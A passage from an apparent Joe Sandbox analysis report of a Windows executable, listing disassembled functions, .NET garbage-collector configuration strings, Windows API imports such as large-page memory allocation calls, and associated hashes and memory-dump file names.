ercent$System.GC.HeapHardLimitPercent$System.GC.HeapHardLimitSOH$System.GC.HeapHardLimitSOHPercent$System.GC.HighMemoryPercent$System.GC.LOHThreshold$System.GC.LargePages$System.GC.MaxHeapCount$System.GC.Name$System.GC.NoAffinitize$System.GC.Path$System.GC.RetainVM$System.GC.Server
API String ID: 0-1379766591
Opcode ID: aea8e211407e160569e901d7ffe0990671890cbd52ae028845b6437f3ac61894
Instruction ID: 0bcb96ea8f0848fe181f3fcb4a2b00eda024165e1e4b33af6bde7881ca69cec2
Opcode Fuzzy Hash: aea8e211407e160569e901d7ffe0990671890cbd52ae028845b6437f3ac61894
Instruction Fuzzy Hash: 6E425F61608F5681FB20AF15F890AAAA3A5FF55FE8FC11132D98D07A24DF3ED206C754

Function 00007FF7C5BC3AC0 Relevance: 113.0, Strings: 90, Instructions: 479COMMON

Download Yara Rule

Strings

System.GC.HighMemoryPercent, xrefs: 00007FF7C5BC3F14
BGCFLki, xrefs: 00007FF7C5BC41DC
gcConservative, xrefs: 00007FF7C5BC3B1F
GCNumaAware, xrefs: 00007FF7C5BC3C41
BGCMemGoalSlack, xrefs: 00007FF7C5BC4138
GCLogEnabled, xrefs: 00007FF7C5BC3BF1
System.GC.NoAffinitize, xrefs: 00007FF7C5BC3BC4
GCDynamicAdaptationMode, xrefs: 00007FF7C5BC45B5
System.GC.HeapCount, xrefs: 00007FF7C5BC3D94
System.GC.HeapHardLimitPOHPercent, xrefs: 00007FF7C5BC44D7
GCSegmentSize, xrefs: 00007FF7C5BC3E19
GCTotalPhysicalMemory, xrefs: 00007FF7C5BC4042
BGCMLkp, xrefs: 00007FF7C5BC42A9
GCLOHThreshold, xrefs: 00007FF7C5BC3D1B
GCHeapHardLimitSOH, xrefs: 00007FF7C5BC43F8
GCLOHCompact, xrefs: 00007FF7C5BC3CEB
System.GC.ConserveMemory, xrefs: 00007FF7C5BC452E
BGCFLSweepGoalLOH, xrefs: 00007FF7C5BC418A
GCHeapHardLimitSOHPercent, xrefs: 00007FF7C5BC4482
gcConcurrent, xrefs: 00007FF7C5BC3AF9
System.GC.DTargetTCP, xrefs: 00007FF7C5BC45DC
GCMaxHeapCount, xrefs: 00007FF7C5BC3DC9
GCLatencyLevel, xrefs: 00007FF7C5BC3E6B
BGCSpin, xrefs: 00007FF7C5BC3D6B
BGCMLki, xrefs: 00007FF7C5BC42D2
BGCFLkd, xrefs: 00007FF7C5BC4205
GCBreakOnOOM, xrefs: 00007FF7C5BC3B9C
BGCFLSweepGoal, xrefs: 00007FF7C5BC4161
GCRetainVM, xrefs: 00007FF7C5BC3B76
BGCFLEnableKi, xrefs: 00007FF7C5BC42FB
System.GC.Concurrent, xrefs: 00007FF7C5BC3AF2
HeapVerify, xrefs: 00007FF7C5BC3CC3
System.GC.LargePages, xrefs: 00007FF7C5BC3C96
GCGen0MaxBudget, xrefs: 00007FF7C5BC3F6B
BGCFLEnableFF, xrefs: 00007FF7C5BC439F
GCProvModeStress, xrefs: 00007FF7C5BC3F42
gcServer, xrefs: 00007FF7C5BC3AD2
GCRegionSize, xrefs: 00007FF7C5BC409D
GCLatencyMode, xrefs: 00007FF7C5BC3E42
GCGen1MaxBudget, xrefs: 00007FF7C5BC3F94
BGCFLGradualD, xrefs: 00007FF7C5BC4280
GCHeapAffinitizeMask, xrefs: 00007FF7C5BC3EED
System.GC.HeapHardLimitPercent, xrefs: 00007FF7C5BC4014
GCHeapHardLimitPercent, xrefs: 00007FF7C5BC401B
GCRegionRange, xrefs: 00007FF7C5BC406B
BGCFLEnableTBH, xrefs: 00007FF7C5BC4376
System.GC.LOHThreshold, xrefs: 00007FF7C5BC3D14
GCLargePages, xrefs: 00007FF7C5BC3C9D
System.GC.RetainVM, xrefs: 00007FF7C5BC3B6F
GCCpuGroup, xrefs: 00007FF7C5BC3C70
GCHeapHardLimitPOHPercent, xrefs: 00007FF7C5BC44DE
System.GC.HeapHardLimitLOH, xrefs: 00007FF7C5BC441F
BGCMemGoal, xrefs: 00007FF7C5BC410F
System.GC.HeapHardLimitSOHPercent, xrefs: 00007FF7C5BC447B
GCCompactRatio, xrefs: 00007FF7C5BC3EBD
System.GC.DynamicAdaptationMode, xrefs: 00007FF7C5BC45AE
GCEnableSpecialRegions, xrefs: 00007FF7C5BC40BD
GCLogFileSize, xrefs: 00007FF7C5BC3E9D
BGCFLkp, xrefs: 00007FF7C5BC41B3
System.GC.HeapHardLimitLOHPercent, xrefs: 00007FF7C5BC44A9
GCWriteBarrier, xrefs: 00007FF7C5BC455C
BGCG2RatioStep, xrefs: 00007FF7C5BC43C8
GCConfigLogEnabled, xrefs: 00007FF7C5BC3C19
System.GC.HeapHardLimitSOH, xrefs: 00007FF7C5BC43F1
gcForceCompact, xrefs: 00007FF7C5BC3B47
GCHighMemPercent, xrefs: 00007FF7C5BC3F1B
System.GC.HeapAffinitizeMask, xrefs: 00007FF7C5BC3EE6
System.GC.MaxHeapCount, xrefs: 00007FF7C5BC3DC2
GCConserveMemory, xrefs: 00007FF7C5BC4535
BGCSpinCount, xrefs: 00007FF7C5BC3D42
GCHeapHardLimitLOHPercent, xrefs: 00007FF7C5BC44B0
GCgen0size, xrefs: 00007FF7C5BC3DF0
GCSpinCountUnit, xrefs: 00007FF7C5BC4585
GCHeapHardLimitPOH, xrefs: 00007FF7C5BC445B
System.GC.Server, xrefs: 00007FF7C5BC3ACB
GCHeapHardLimitLOH, xrefs: 00007FF7C5BC4426
BGCFLSmoothFactor, xrefs: 00007FF7C5BC4260
BGCFLTuningEnabled, xrefs: 00007FF7C5BC40E6
GCEnabledInstructionSets, xrefs: 00007FF7C5BC4505
System.GC.HeapHardLimitPOH, xrefs: 00007FF7C5BC4454
GCHeapCount, xrefs: 00007FF7C5BC3D9B
BGCFLff, xrefs: 00007FF7C5BC422E
System.GC.CpuGroup, xrefs: 00007FF7C5BC3C69
BGCFLEnableKd, xrefs: 00007FF7C5BC4324
GCHeapHardLimit, xrefs: 00007FF7C5BC3FED
GCDTargetTCP, xrefs: 00007FF7C5BC45E3
System.GC.HeapHardLimit, xrefs: 00007FF7C5BC3FE6
BGCFLEnableSmooth, xrefs: 00007FF7C5BC434D
GCNoAffinitize, xrefs: 00007FF7C5BC3BCB
GCLowSkipRatio, xrefs: 00007FF7C5BC3FBD

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: strcmp
String ID: BGCFLEnableFF$BGCFLEnableKd$BGCFLEnableKi$BGCFLEnableSmooth$BGCFLEnableTBH$BGCFLGradualD$BGCFLSmoothFactor$BGCFLSweepGoal$BGCFLSweepGoalLOH$BGCFLTuningEnabled$BGCFLff$BGCFLkd$BGCFLki$BGCFLkp$BGCG2RatioStep$BGCMLki$BGCMLkp$BGCMemGoal$BGCMemGoalSlack$BGCSpin$BGCSpinCount$GCBreakOnOOM$GCCompactRatio$GCConfigLogEnabled$GCConserveMemory$GCCpuGroup$GCDTargetTCP$GCDynamicAdaptationMode$GCEnableSpecialRegions$GCEnabledInstructionSets$GCGen0MaxBudget$GCGen1MaxBudget$GCHeapAffinitizeMask$GCHeapCount$GCHeapHardLimit$GCHeapHardLimitLOH$GCHeapHardLimitLOHPercent$GCHeapHardLimitPOH$GCHeapHardLimitPOHPercent$GCHeapHardLimitPercent$GCHeapHardLimitSOH$GCHeapHardLimitSOHPercent$GCHighMemPercent$GCLOHCompact$GCLOHThreshold$GCLargePages$GCLatencyLevel$GCLatencyMode$GCLogEnabled$GCLogFileSize$GCLowSkipRatio$GCMaxHeapCount$GCNoAffinitize$GCNumaAware$GCProvModeStress$GCRegionRange$GCRegionSize$GCRetainVM$GCSegmentSize$GCSpinCountUnit$GCTotalPhysicalMemory$GCWriteBarrier$GCgen0size$HeapVerify$System.GC.Concurrent$System.GC.ConserveMemory$System.GC.CpuGroup$System.GC.DTargetTCP$System.GC.DynamicAdaptationMode$System.GC.HeapAffinitizeMask$System.GC.HeapCount$System.GC.HeapHardLimit$System.GC.HeapHardLimitLOH$System.GC.HeapHardLimitLOHPercent$System.GC.HeapHardLimitPOH$System.GC.HeapHardLimitPOHPercent$System.GC.HeapHardLimitPercent$System.GC.HeapHardLimitSOH$System.GC.HeapHardLimitSOHPercent$System.GC.HighMemoryPercent$System.GC.LOHThreshold$System.GC.LargePages$System.GC.MaxHeapCount$System.GC.NoAffinitize$System.GC.RetainVM$System.GC.Server$gcConcurrent$gcConservative$gcForceCompact$gcServer
API String ID: 1004003707-1492036319
Opcode ID: 36b66872262398e0886a26fc236604f32fdc404a408f84d1ed38b3fdaa7ebc27
Instruction ID: 9d4213fab97abdfeeef7fe1960f6587402731bf2922b6f00a9cdfaf2ad6823b5
Opcode Fuzzy Hash: 36b66872262398e0886a26fc236604f32fdc404a408f84d1ed38b3fdaa7ebc27
Instruction Fuzzy Hash: 7662BF64D0EF8794FA00FF65A8D00B2ABA1AF59FA0FC44076C45D47266DE2EA159C3F1

Function 00007FF7C5BC2B30 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32 ref: 00007FF7C5BC2B6C
GetCurrentProcess.KERNEL32 ref: 00007FF7C5BC2B94
OpenProcessToken.ADVAPI32 ref: 00007FF7C5BC2BA7
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF7C5BC2BCC
GetLastError.KERNEL32 ref: 00007FF7C5BC2BD4
CloseHandle.KERNEL32 ref: 00007FF7C5BC2BE1
GetLargePageMinimum.KERNEL32 ref: 00007FF7C5BC2BF6
VirtualAlloc.KERNEL32 ref: 00007FF7C5BC2C27
GetCurrentProcess.KERNEL32 ref: 00007FF7C5BC2C33
VirtualAllocExNuma.KERNEL32 ref: 00007FF7C5BC2C53

Strings

SeLockMemoryPrivilege, xrefs: 00007FF7C5BC2B65

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: Process$AllocCurrentTokenVirtual$AdjustCloseErrorHandleLargeLastLookupMinimumNumaOpenPagePrivilegePrivilegesValue
String ID: SeLockMemoryPrivilege
API String ID: 1752251271-475654710
Opcode ID: c8564b734ccbaacaf3b0576976fb44c3c840db276b6d24103a14a80d5a63f89b
Instruction ID: 1277faefbc52d9d545a3f7ac9cd679084b73a019150bc9e3ac596c34e1ee5f25
Opcode Fuzzy Hash: c8564b734ccbaacaf3b0576976fb44c3c840db276b6d24103a14a80d5a63f89b
Instruction Fuzzy Hash: D0317671A09B4286F720AF61F454367E7A1EB84FA4F804035EA8E47754DE3EE4458760

Function 00007FF7C5BB6AA0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 245COMMON

Download Yara Rule

APIs

RaiseFailFastException.KERNEL32(?,?,?,?,?,?,00000000,?,00007FF7C5BB7441), ref: 00007FF7C5BB6B58
RaiseFailFastException.KERNEL32(?,?,?,?,?,?,00000000,?,00007FF7C5BB7441), ref: 00007FF7C5BB6CAB
RaiseFailFastException.KERNEL32(?,?,?,?,?,?,00000000,?,00007FF7C5BB7441), ref: 00007FF7C5BB6D83
RaiseFailFastException.KERNEL32(?,?,?,?,?,?,00000000,?,00007FF7C5BB7441), ref: 00007FF7C5BB6D99
RaiseFailFastException.KERNEL32(?,?,?,?,?,?,00000000,?,00007FF7C5BB7441), ref: 00007FF7C5BB6E15

Strings

[ KeepUnwinding ], xrefs: 00007FF7C5BB6DB4

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: ExceptionFailFastRaise
String ID: [ KeepUnwinding ]
API String ID: 2546344036-400895726
Opcode ID: f7ede3c50903ac8ce56ed10b7c6191f6e45cf248f9fd1a0be10d847b8a15258f
Instruction ID: f1096f0708cae723ba917723dbcdff16cf2c9d32b5fec45b151a93d175e6b114
Opcode Fuzzy Hash: f7ede3c50903ac8ce56ed10b7c6191f6e45cf248f9fd1a0be10d847b8a15258f
Instruction Fuzzy Hash: 7AB1D232A09B4385EB64EF25D0412A9BBA1FB04F68F980136CE4D47398CF7BE841C364

Function 00007FF7C5BE2DB0 Relevance: 4.8, APIs: 3, Instructions: 256threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 00007FF7C5BE2E6C
SwitchToThread.KERNEL32 ref: 00007FF7C5BE2E75

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: SwitchThread
String ID:
API String ID: 115865932-0
Opcode ID: 8f1152a98ca86780c3dea1b552b037fca8d312a9376a4e9feeb8efa9e59e16c1
Instruction ID: 912fb058151c667d6bb43a1336c10caf58e47f7f38895745ad0322f3e09091f7
Opcode Fuzzy Hash: 8f1152a98ca86780c3dea1b552b037fca8d312a9376a4e9feeb8efa9e59e16c1
Instruction Fuzzy Hash: C0B18D71A09B4286EB50AF64D8802B9F7A0FF45FA4F884635DA1D47395DFBEF4448360

Function 00007FF7C5BCD1F0 Relevance: 4.7, APIs: 2, Strings: 1, Instructions: 195COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7C5BCD3E6
LeaveCriticalSection.KERNEL32 ref: 00007FF7C5BCD400

Strings

@, xrefs: 00007FF7C5BCD40A

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: @
API String ID: 3168844106-2766056989
Opcode ID: dd6d6a4e8923a7622559a3daf65e3807cab09e7ddf14f4fc5c8b3e1e00e80d67
Instruction ID: 91a1ea11d02d373b2ba8f2e0f5adaedffdb84bfe32873248362789f0528728cb
Opcode Fuzzy Hash: dd6d6a4e8923a7622559a3daf65e3807cab09e7ddf14f4fc5c8b3e1e00e80d67
Instruction Fuzzy Hash: 04917D25A0CB9285FB50BF15E8803B5EBA0AF54FA8FD80175C90D4B6A5DF3EF44087A4

Function 00007FF7C5BEE4B0 Relevance: 3.3, APIs: 2, Instructions: 344threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 00007FF7C5BEE625
SwitchToThread.KERNEL32 ref: 00007FF7C5BEE655

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: SwitchThread
String ID:
API String ID: 115865932-0
Opcode ID: ab3dbcbadd1195aceb4dc0df65fd692d4c75df09f4a02271c42bf330f8f5443f
Instruction ID: d3615e0b8b5685dd8c70309d0c5e429d49e035c9869aca20d482a01116869ebf
Opcode Fuzzy Hash: ab3dbcbadd1195aceb4dc0df65fd692d4c75df09f4a02271c42bf330f8f5443f
Instruction Fuzzy Hash: A6E18236A09B9186EB60DF15E4403B9BBA0FB44FA4F884131EA9D47789DFBDE441C760

Function 00007FF7C5BC1C50 Relevance: 3.2, APIs: 2, Instructions: 175COMMON

Download Yara Rule

APIs

GetEnabledXStateFeatures.KERNEL32(?,?,?,?,?,00007FF7C5BB7E5B,?,?,?,?,?,?,00007FF7C5BB1C00), ref: 00007FF7C5BC1CEF
GetEnabledXStateFeatures.KERNEL32(?,?,?,?,?,00007FF7C5BB7E5B,?,?,?,?,?,?,00007FF7C5BB1C00), ref: 00007FF7C5BC1D4C

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: EnabledFeaturesState
String ID:
API String ID: 1557480591-0
Opcode ID: 4d09a7d10696eb70978a5361604ff01ff8ee2d975502abada3cc5e0683543bbf
Instruction ID: d51538b91975333c2c0d6e0c8f12b5ddc357c46437a8a763bfbd8abe618d97a8
Opcode Fuzzy Hash: 4d09a7d10696eb70978a5361604ff01ff8ee2d975502abada3cc5e0683543bbf
Instruction Fuzzy Hash: F251C532F0C62306FF6C5C5D946A77586875BAA771F858538DA4EA32C1CD3FF8024668

Function 00007FF7C5BDC3A0 Relevance: 2.6, APIs: 2, Instructions: 100COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7C5BDC466
LeaveCriticalSection.KERNEL32 ref: 00007FF7C5BDC480

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 5372820b8d61e945878c808cb8805ea97cbf8da8ac7b2002d2442fc1065395d5
Instruction ID: e2ae0a059c6f5924cf6306c8aeacaf82632f94aa0b3db923dfef40626c06606e
Opcode Fuzzy Hash: 5372820b8d61e945878c808cb8805ea97cbf8da8ac7b2002d2442fc1065395d5
Instruction Fuzzy Hash: 2741A222B18B4281EB24AF25D980179EBA0FF54FE4F881036DE4D17B59DF3EE0108760

Function 00007FF7C5BE46E0 Relevance: 1.8, Strings: 1, Instructions: 564COMMON

Download Yara Rule

Strings

, xrefs: 00007FF7C5BE4C2B

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 0ee841b0041fd07083ad09a55eb67601aaff04cff13fea96335e112a1605f71b
Instruction ID: 7bb0862b7ddad099b2bd88117d720d59095c81fd6fff9c074b47c4ae38a4e669
Opcode Fuzzy Hash: 0ee841b0041fd07083ad09a55eb67601aaff04cff13fea96335e112a1605f71b
Instruction Fuzzy Hash: 1D42A332A19B8686EA11AF15E840679FBA0FB45FB4F894231CA6D437D5CF7EE450C360

Function 00007FF7C5BCFE70 Relevance: 1.7, Strings: 1, Instructions: 441COMMON

Download Yara Rule

Strings

?, xrefs: 00007FF7C5BCFEBB

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID:
String ID: ?
API String ID: 0-1684325040
Opcode ID: eb064bc1408a134021f5762006dc8a98f6b1344e3b1c1bba0f6a4c98f7415e32
Instruction ID: 6aea0940c724753bc90fce47e0d05a9571e5338fe37aa3651d007fdf7285d443
Opcode Fuzzy Hash: eb064bc1408a134021f5762006dc8a98f6b1344e3b1c1bba0f6a4c98f7415e32
Instruction Fuzzy Hash: 4312D332A09B8A82EA14EF11E4446B9BB64FB55FA4F944231DE5E43798EF3EE041C750

Function 00007FF7C5BBBB60 Relevance: 1.6, Strings: 1, Instructions: 362COMMON

Download Yara Rule

Strings

0, xrefs: 00007FF7C5BBBE83

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: ed46fb5e053d378f1610507a2dc2373cd927df4da4c90f69d846193864f28d75
Instruction ID: 62098f5925bededef2f8a3daea64aadf25cc68b435e9a2377a8f0ad4c682a13d
Opcode Fuzzy Hash: ed46fb5e053d378f1610507a2dc2373cd927df4da4c90f69d846193864f28d75
Instruction Fuzzy Hash: CFD1DEB3B10B4987E728AF29A4056697AA2F754FE8F540235CE5D07B98CF7DD810CB40

Function 00007FF7C5BBE6D0 Relevance: 1.6, APIs: 1, Instructions: 55timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,00007FF7C5BB7E3E,?,?,?,?,?,?,00007FF7C5BB1C00), ref: 00007FF7C5BBE79C

Memory Dump Source

